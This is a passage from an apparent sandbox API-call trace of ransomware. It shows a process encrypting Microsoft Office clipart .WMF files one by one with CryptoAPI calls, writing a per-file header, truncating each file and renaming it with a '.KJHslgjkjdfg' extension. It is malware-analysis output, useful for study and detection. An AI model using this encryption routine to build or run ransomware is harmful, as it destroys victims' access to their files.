lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0193.909] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0193.909] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0193.909] WriteFile (in: hFile=0x130, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0193.909] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0193.909] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0193.909] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0193.909] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0193.909] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0193.909] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x1498, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x1498, lpOverlapped=0x0) returned 1 [0193.910] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x14a0, dwBufLen=0x14a0 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x14a0) returned 1 [0193.910] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0193.910] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x14a0, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x14a0, lpOverlapped=0x0) returned 1 [0193.910] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0193.910] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x1574, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0193.910] SetEndOfFile (hFile=0x130) returned 1 [0193.911] GetProcessHeap () returned 0x2ef0000 [0193.911] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0193.911] GetProcessHeap () returned 0x2ef0000 [0193.911] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0193.911] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00269_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00269_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00269_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00269_.wmf.kjhslgjkjdfg")) returned 1 [0193.912] CloseHandle (hObject=0x130) returned 1 [0193.912] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4d095f00, ftCreationTime.dwHighDateTime=0x1bd4b18, ftLastAccessTime.dwLowDateTime=0x519ef6b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x4d095f00, ftLastWriteTime.dwHighDateTime=0x1bd4b18, nFileSizeHigh=0x0, nFileSizeLow=0xbc8, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="BL00270_.WMF", cAlternateFileName="")) returned 1 [0193.912] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00270_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00270_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0193.994] GetProcessHeap () returned 0x2ef0000 [0193.994] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0193.994] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0193.994] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0193.995] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0193.997] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0193.997] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0193.997] GetProcessHeap () returned 0x2ef0000 [0193.997] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0193.997] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0193.997] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0193.997] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0193.997] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0193.997] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0193.998] WriteFile (in: hFile=0x130, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0193.998] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0193.998] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0193.998] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0193.998] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0193.998] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0193.998] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0xbc8, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0xbc8, lpOverlapped=0x0) returned 1 [0193.998] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0xbd0, dwBufLen=0xbd0 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0xbd0) returned 1 [0193.998] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0193.998] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0xbd0, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0xbd0, lpOverlapped=0x0) returned 1 [0193.998] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0193.998] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0xca4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0193.998] SetEndOfFile (hFile=0x130) returned 1 [0194.001] GetProcessHeap () returned 0x2ef0000 [0194.001] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0194.001] GetProcessHeap () returned 0x2ef0000 [0194.001] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0194.001] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00270_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00270_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00270_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00270_.wmf.kjhslgjkjdfg")) returned 1 [0194.002] CloseHandle (hObject=0x130) returned 1 [0194.002] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfd2a9800, ftCreationTime.dwHighDateTime=0x1bd4b17, ftLastAccessTime.dwLowDateTime=0x519ef6b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfd2a9800, ftLastWriteTime.dwHighDateTime=0x1bd4b17, nFileSizeHigh=0x0, nFileSizeLow=0xec4, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="BL00273_.WMF", cAlternateFileName="")) returned 1 [0194.002] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00273_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00273_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0194.003] GetProcessHeap () returned 0x2ef0000 [0194.003] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0194.003] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0194.003] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0194.003] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0xc, lpOverlapped=0x0) returned 1 [0194.005] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0194.005] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0194.005] GetProcessHeap () returned 0x2ef0000 [0194.006] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0194.006] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0194.006] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0194.006] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0194.006] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0194.006] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0194.006] WriteFile (in: hFile=0x130, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0194.006] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0194.006] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0194.006] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0194.006] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0194.006] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0194.006] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0xec4, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0xec4, lpOverlapped=0x0) returned 1 [0194.007] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0xed0, dwBufLen=0xed0 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0xed0) returned 1 [0194.007] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0194.007] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0xed0, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0xed0, lpOverlapped=0x0) returned 1 [0194.007] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0194.007] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0xfa4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0194.007] SetEndOfFile (hFile=0x130) returned 1 [0194.008] GetProcessHeap () returned 0x2ef0000 [0194.008] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0194.008] GetProcessHeap () returned 0x2ef0000 [0194.008] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0194.008] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00273_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00273_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00273_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00273_.wmf.kjhslgjkjdfg")) returned 1 [0194.020] CloseHandle (hObject=0x130) returned 1 [0194.020] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc9e80900, ftCreationTime.dwHighDateTime=0x1bd4b17, ftLastAccessTime.dwLowDateTime=0x519ef6b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc9e80900, ftLastWriteTime.dwHighDateTime=0x1bd4b17, nFileSizeHigh=0x0, nFileSizeLow=0x1044, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="BL00274_.WMF", cAlternateFileName="")) returned 1 [0194.020] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00274_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00274_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0194.020] GetProcessHeap () returned 0x2ef0000 [0194.020] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0194.020] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0194.021] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0194.021] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0xc, lpOverlapped=0x0) returned 1 [0194.023] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0194.023] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0194.023] GetProcessHeap () returned 0x2ef0000 [0194.023] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0194.023] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0194.023] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0194.023] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0194.023] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0194.024] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0194.024] WriteFile (in: hFile=0x130, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0194.024] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0194.024] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0194.024] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0194.024] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0194.024] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0194.024] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x1044, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x1044, lpOverlapped=0x0) returned 1 [0194.025] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x1050, dwBufLen=0x1050 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x1050) returned 1 [0194.025] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0194.026] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x1050, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x1050, lpOverlapped=0x0) returned 1 [0194.026] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0194.026] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x1124, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0194.026] SetEndOfFile (hFile=0x130) returned 1 [0194.029] GetProcessHeap () returned 0x2ef0000 [0194.029] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0194.029] GetProcessHeap () returned 0x2ef0000 [0194.029] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0194.029] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00274_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00274_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00274_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00274_.wmf.kjhslgjkjdfg")) returned 1 [0194.030] CloseHandle (hObject=0x130) returned 1 [0194.030] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac309900, ftCreationTime.dwHighDateTime=0x1bd4b43, ftLastAccessTime.dwLowDateTime=0x519ef6b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xac309900, ftLastWriteTime.dwHighDateTime=0x1bd4b43, nFileSizeHigh=0x0, nFileSizeLow=0x32c, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="BL00296_.WMF", cAlternateFileName="")) returned 1 [0194.030] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00296_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00296_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0194.031] GetProcessHeap () returned 0x2ef0000 [0194.031] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0194.031] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0194.031] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0194.031] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0194.033] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0194.033] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0194.033] GetProcessHeap () returned 0x2ef0000 [0194.033] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0194.033] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0194.033] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0194.033] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0194.033] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0194.033] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0194.033] WriteFile (in: hFile=0x130, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0194.033] SetFilePointerEx 